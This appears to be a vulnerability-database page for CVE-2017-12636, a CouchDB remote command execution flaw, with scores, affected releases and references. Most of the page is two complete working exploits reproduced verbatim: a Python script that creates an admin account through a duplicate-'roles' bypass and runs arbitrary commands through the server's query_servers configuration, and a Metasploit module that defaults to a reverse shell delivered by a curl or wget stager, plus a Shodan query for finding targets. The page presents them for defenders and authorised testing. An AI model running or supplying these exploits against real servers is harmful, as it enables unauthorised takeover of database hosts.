CVE-2017-12636
high
CVSS v3
7.2
CVSS v4 NEW
โ
VIR risk
8.2
Description
multiple issues in couchdb
Predictions
Exploit likelihood
81%
Patch ETA
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Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Apache CouchDB < 2.1.0 - Remote Code Execution
# Title: Apache CouchDB < 2.1.0 - Remote Code Execution
# Author: Cody Zacharias
# Shodan Dork: port:5984
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://archive.apache.org/dist/couchdb/source/1.6.0/
# Version: <= 1.7.0 and 2.x - 2.1.0
# Tested on: Debian
# CVE : CVE-2017-12636
# References:
# https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
# https://blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/
# Proof of Concept: python exploit.py --priv -c "id" http://localhost:5984
#!/usr/bin/env python
from requests.auth import HTTPBasicAuth
import argparse
import requests
import re
import sys
def getVersion():
version = requests.get(args.host).json()["version"]
return version
def error(message):
print(message)
sys.exit(1)
def exploit(version):
with requests.session() as session:
session.headers = {"Content-Type": "application/json"}
# Exploit privilege escalation
if args.priv:
try:
payload = '{"type": "user", "name": "'
payload += args.user
payload += '", "roles": ["_admin"], "roles": [],'
payload += '"password": "' + args.password + '"}'
pr = session.put(args.host + "/_users/org.couchdb.user:" + args.user,
data=payload)
print("[+] User " + args.user + " with password " + args.password + " successfully created.")
except requests.exceptions.HTTPError:
error("[-] Unable to create the user on remote host.")
session.auth = HTTPBasicAuth(args.user, args.password)
# Create payload
try:
if version == 1:
session.put(args.host + "/_config/query_servers/cmd",
data='"' + args.cmd + '"')
print("[+] Created payload at: " + args.host + "/_config/query_servers/cmd")
else:
host = session.get(args.host + "/_membership").json()["all_nodes"][0]
session.put(args.host + "/_node/" + host + "/_config/query_servers/cmd",
data='"' + args.cmd + '"')
print("[+] Created payload at: " + args.host + "/_node/" + host + "/_config/query_servers/cmd")
except requests.exceptions.HTTPError as e:
error("[-] Unable to create command payload: " + e)
try:
session.put(args.host + "/god")
session.put(args.host + "/god/zero", data='{"_id": "HTP"}')
except requests.exceptions.HTTPError:
error("[-] Unable to create database.")
# Execute payload
try:
if version == 1:
session.post(args.host + "/god/_temp_view?limit=10",
data='{"language": "cmd", "map": ""}')
else:
session.post(args.host + "/god/_design/zero",
data='{"_id": "_design/zero", "views": {"god": {"map": ""} }, "language": "cmd"}')
print("[+] Command executed: " + args.cmd)
except requests.exceptions.HTTPError:
error("[-] Unable to execute payload.")
print("[*] Cleaning up.")
# Cleanup database
try:
session.delete(args.host + "/god")
except requests.exceptions.HTTPError:
error("[-] Unable to remove database.")
# Cleanup payload
try:
if version == 1:
session.delete(args.host + "/_config/query_servers/cmd")
else:
host = session.get(args.host + "/_membership").json()["all_nodes"][0]
session.delete(args.host + "/_node" + host + "/_config/query_servers/cmd")
except requests.exceptions.HTTPError:
error("[-] Unable to remove payload.")
def main():
version = getVersion()
print("[*] Detected CouchDB Version " + version)
vv = version.replace(".", "")
v = int(version[0])
if v == 1 and int(vv) <= 170:
exploit(v)
elif v == 2 and int(vv) < 211:
exploit(v)
else:
print("[-] Version " + version + " not vulnerable.")
sys.exit(0)
if __name__ == "__main__":
ap = argparse.ArgumentParser(
description="Apache CouchDB JSON Remote Code Execution Exploit (CVE-2017-12636)")
ap.add_argument("host", help="URL (Example: http://127.0.0.1:5984).")
ap.add_argument("-c", "--cmd", help="Command to run.")
ap.add_argument("--priv", help="Exploit privilege escalation (CVE-2017-12635).",
action="store_true")
ap.add_argument("-u", "--user", help="Admin username (Default: guest).",
default="guest")
ap.add_argument("-p", "--password", help="Admin password (Default: guest).",
default="guest")
args = ap.parse_args()
main()
Apache CouchDB - Arbitrary Command Execution (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache CouchDB Arbitrary Command Execution',
'Description' => %q{
CouchDB administrative users can configure the database server via HTTP(S).
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
including downloading and executing scripts from the public internet.
},
'Author' => [
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' => [
['CVE', '2017-12636'],
['CVE', '2017-12635'],
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
],
'DisclosureDate' => 'Apr 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
},
'CmdStagerFlavor' => ['curl', 'wget'],
'Targets' => [
['Automatic', {}],
['Apache CouchDB version 1.x', {}],
['Apache CouchDB version 2.x', {}]
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(5984),
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
OptString.new('HttpUsername', [false, 'The username to login as']),
OptString.new('HttpPassword', [false, 'The password to login with'])
])
register_advanced_options([
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
])
end
def check
get_version
version = Gem::Version.new(@version)
return CheckCode::Unknown if version.version.empty?
vprint_status "Found CouchDB version #{version}"
return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
CheckCode::Safe
end
def exploit
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
version = @version
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
@cmdstager = generate_cmdstager(
temp: datastore['WritableDir'],
file: File.basename(cmdstager_path)
).join(';')
register_file_for_cleanup(cmdstager_path)
if !datastore['Attempts'] || datastore['Attempts'] <= 0
attempts = 1
else
attempts = datastore['Attempts']
end
attempts.times do |i|
print_status("#{peer} - The #{i + 1} time to exploit")
send_payload(version)
Rex.sleep(5)
# break if we get the shell
break if session_created?
end
end
# CVE-2017-12635
# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
# for the newly created user.
def auth_bypass
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
@auth = basic_auth(username, password)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
'method' => 'PUT',
'ctype' => 'application/json',
'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
)
if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']
return true
else
return false
end
end
def get_version
@version = nil
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'authorization' => @auth
)
rescue Rex::ConnectionError
vprint_bad("#{peer} - Connection failed")
return false
end
unless res
vprint_bad("#{peer} - No response, check if it is CouchDB. ")
return false
end
if res && res.code == 401
print_bad("#{peer} - Authentication required.")
return false
end
if res && res.code == 200
res_json = res.get_json_document
if res_json.empty?
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
return false
end
@version = res_json['version'] if res_json['version']
return true
end
vprint_warning("#{peer} - Version not found")
return true
end
def send_payload(version)
vprint_status("#{peer} - CouchDB version is #{version}") if version
version = Gem::Version.new(@version)
if version.version.empty?
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
# if target set Automatic, exploit failed.
if target == targets[0]
fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
elsif target == targets[1]
payload1
elsif target == targets[2]
payload2
end
elsif version < Gem::Version.new('1.7.0')
payload1
elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
payload2
elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
end
end
# Exploit with multi requests
# payload1 is for the version of couchdb below 1.7.0
def payload1
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
register_file_for_cleanup(rand_file)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %({"_id": "#{rand_hex}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"language":"#{rand_cmd1}","map":""})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("/bin/sh #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"language":"#{rand_cmd2}","map":""})
)
end
# payload2 is for the version of couchdb below 2.1.1
def payload2
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
register_file_for_cleanup(rand_file)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_membership"),
'method' => 'GET',
'authorization' => @auth
)
node = res.get_json_document['all_nodes'][0]
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %({"_id": "#{rand_hex}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("/bin/sh #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
)
end
def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end
end
Metasploit modules
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OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Affected | โ |
Arch Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Fixed | 2.1.1-1 |
References
- https://security.archlinux.org/ASA-201711-24
- https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67%40%3Cdev.couchdb.apache.org%3E
- https://lists.debian.org/debian-lts-announce/2018/01/msg00026.html
- https://security.gentoo.org/glsa/201711-16
- https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03935en_us
- https://www.exploit-db.com/exploits/44913/
- https://www.exploit-db.com/exploits/45019/
- https://www.suse.com/security/cve/CVE-2017-12636.html
CWEs
CWE-78
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